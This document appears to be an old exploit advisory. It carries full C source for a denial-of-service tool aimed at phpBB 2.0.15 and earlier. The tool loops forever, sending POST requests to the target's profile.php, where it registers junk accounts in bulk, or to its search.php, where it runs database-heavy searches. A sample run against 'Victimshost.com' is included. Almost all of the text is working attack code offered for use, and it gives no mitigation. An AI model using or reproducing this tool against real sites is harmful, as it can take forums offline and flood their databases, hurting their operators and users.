/*
--------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST]R - Advisory #15 - 00/00/06
--------------------------------------------------------
Program:  phpBB 2.0.15
Homepage:  http://www.phpbb.com
Vulnerable Versions: phpBB 2.0.15 & Lower versions
Risk: High Risk!!
Impact: Multiple DoS Vulnerabilities.

   -==phpBB 2.0.15 Multiple DoS Vulnerabilities ==-
---------------------------------------------------------

- Description
---------------------------------------------------------
phpBB is a high powered, fully scalable, and highly customizable
Open Source bulletin board package. phpBB has a user-friendly
interface, simple and straightforward administration panel, and
helpful FAQ. Based on the powerful PHP server language and your
choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers,
phpBB is the ideal free community solution for all web sites.

- Tested
---------------------------------------------------------
localhost & many forums

- Explotation
---------------------------------------------------------
profile.php << By registering as many users as you can.
search.php  << by searching in a way that the db couln't observe it.

- Exploit
---------------------------------------------------------
[C Source]
/*
 Name: NsT-phpBBDoS
 Copyright: NeoSecurityteam
 Author: HaCkZaTaN
 Date: 19/06/05
 Description: xD You must figure out the problem xD
 
 root@NeoSecurity:/home/hackzatan# pico NsT-phpBBDoS.c
 root@NeoSecurity:/home/hackzatan# gcc NsT-phpBBDoS.c -o NsT-phpBBDoS
 root@NeoSecurity:/home/hackzatan# ./NsT-phpBBDoS
 [+] NsT-phpBBDoS v0.1 by HaCkZaTaN
 [+] NeoSecurityTeam
 [+] Dos has begun....[+]
 
 [*] Use: ./NsT-phpBBDoS <path> <search.php or profile.php> <Host>
 [*] Example: ./NsT-phpBBDoS /phpBB/ profile.php Victimshost.com
 root@NeoSecurity:/home/hackzatan# ./NsT-phpBBDoS /phpBB/ profile.php Victimshost.com
 [+] NsT-phpBBDoS v0.1 by HaCkZaTaN
 [+] NeoSecurityTeam
 [+] Dos has begun....[+]
 
 .................................
 root@NeoSecurity:/home/hackzatan# echo "Let see how many users I have created"
 root@NeoSecurity:/home/hackzatan# set | grep MACHTYPE
 MACHTYPE=i486-slackware-linux-gnu
 root@NeoSecurity:/home/hackzatan#

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#ifdef WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN
#else
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif

#define __USE_GNU
#define _XOPEN_SOURCE

int Connection(char *, int);
void Write_In(int , char *, char *a, char *, int);
char Use(char *);

int main(int argc, char *argv[])
{
   int sock, x = 0;
   char *Path = argv[1], *Pro_Sea = argv[2], *Host = argv[3];

   puts("[+] NsT-phpBBDoS v0.1 by HaCkZaTaN");
   puts("[+] NeoSecurityTeam");
   puts("[+] Dos has begun....[+]\n");
   fflush(stdout);

   if(argc != 4) Use(argv[0]);

   while(1)
   {
          sock = Connection(Host,80);
          Write_In(sock, Path, Pro_Sea, Host, x);
          #ifndef WIN32
          shutdown(sock, SHUT_WR);
          close(sock);
          #else
          closesocket(sock);
          WSACleanup();
          #endif
          Pro_Sea = argv[2];
          x++;
   }
   //I don't think that it will get here =)

   return 0;
}

int Connection(char *Host, int Port)
{
       #ifndef WIN32
       #define SOCKET int
       #else
       int error;
       WSADATA wsadata;
       error = WSAStartup(MAKEWORD(2, 2), &wsadata);

       if (error == SOCKET_ERROR)
       {
                 perror("Could Not Start Up Winsock!\n");
                 return;
       }

       #endif

       SOCKET sockfd;
       struct sockaddr_in sin;
       struct in_addr  *myaddr;
       struct hostent *h;
       
       if(Port <= 0 || Port > 65535)
        {
                 puts("[-] Invalid Port Number\n");
                 fflush(stdout);
                 exit(-1);
        }
       
       if((sockfd =  socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
       {
                   perror("socket() ");
                   fflush (stdout);
                   exit(-1);
       }

       if(isalpha(Host[0]))
       {
          if((h = gethostbyname(Host)) == NULL)
          {
                    perror("gethostbyname() ");
                    fflush (stdout);
                    exit(-1);
          }
       }
       else
       {
             myaddr=(struct in_addr*)malloc(sizeof(struct in_addr));
             myaddr->s_addr=inet_addr(Host);
             
             if((h = gethostbyaddr((char *) &myaddr, sizeof(myaddr), AF_INET)) != NULL)
             {
                    perror("gethostbyaddr() ");
                    fflush (stdout);
                    exit(-1);
             }
       }

       memset(&sin, 0, sizeof(sin));
       sin.sin_family = AF_INET;
       sin.sin_port = htons(Port);
       memcpy(&sin.sin_addr.s_addr, h->h_addr_list[0], h->h_length);

       if(connect(sockfd, (struct sockaddr *)&sin, sizeof(struct sockaddr_in)) < 0)
       {
                    perror("connect() ");
                    exit (-1);
       }

       return sockfd;
}

void Write_In(int sock, char *Path, char *Pro_Sea, char *Host, int x)
{
   char *str1 = (char *)malloc(4*BUFSIZ), *str2 = (char *)malloc(4*BUFSIZ);
   char *req0 = "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\r\n"
                "Accept: */*\r\n"
                "Accept-Language: en-us\r\n"
                "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
                "Accept encoding: gzip,deflate\r\n"
                "Keep-Alive: 300\r\n"
                "Proxy-Connection: keep-alive\r\n"
                "Content-Type: application/x-www-form-urlencoded\r\n"
                "Cache-Control: no-cache\r\n"
                "Pragma: no-cache\r\n";
   char *Profile = "%40neosecurityteam.net&new_password=0123456&password_confirm=0123456&icq=&aim=&msn=&yim=&website=&location=&occupation=&interests=&signature=&viewemail=0&hideonline=0&notifyreply=0&notifypm=1&popup_pm=1&attachsig=1&allowbbcode=1&allowhtml=0&allowsmilies=1&language=english&style=1&timezone=0&dateformat=D+M+d%2C+Y+g%3Ai+a&mode=register&agreed=true&coppa=0&submit=Submit\r\n";
   char *Search  = "&search_terms=any&search_author=*&search_forum=-1&search_time=0&search_fields=all&search_cat=-1&sort_by=0&sort_dir=DESC&show_results=topics&return_chars=200\r\n";

   if(strcmp("profile.php", Pro_Sea) == 0) sprintf(str1, "username=NsT__%d&email=NsT__%d%s", x, x, Profile);
   else if(strcmp("search.php", Pro_Sea) == 0)
   {
              Pro_Sea = "search.php?mode=results";
              sprintf(str1, "search_keywords=Hack%d%s", x, Search);
   }
   else
   {
              puts("Sorry. Try making the right choice");
              exit(-1);
   }

   sprintf(str2, "POST %s%s HTTP/1.1\r\n"
                 "Host: %s\r\n"
                 "Referer: http://%s/\r\n%s"
                 "Content-Length: %d\r\n\r\n%s", Path, Pro_Sea, Host, Host, req0, strlen(str1), str1);
         
   write(sock, str2, strlen(str2));
   write(1, ".", 1);
   fflush(stdout);
}

char Use(char *program)
{
       fprintf(stderr,"[*] Use: %s <path> <search.php or profile.php> <Host>\n", program);
       fprintf(stderr,"[*] Example: %s /phpBB/ profile.php Victimshost.com\n", program);
       fflush(stdout);
       exit(-1);
}

/*

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@@@@''''@@'@@@@@@@@@@''''@@@@@

*/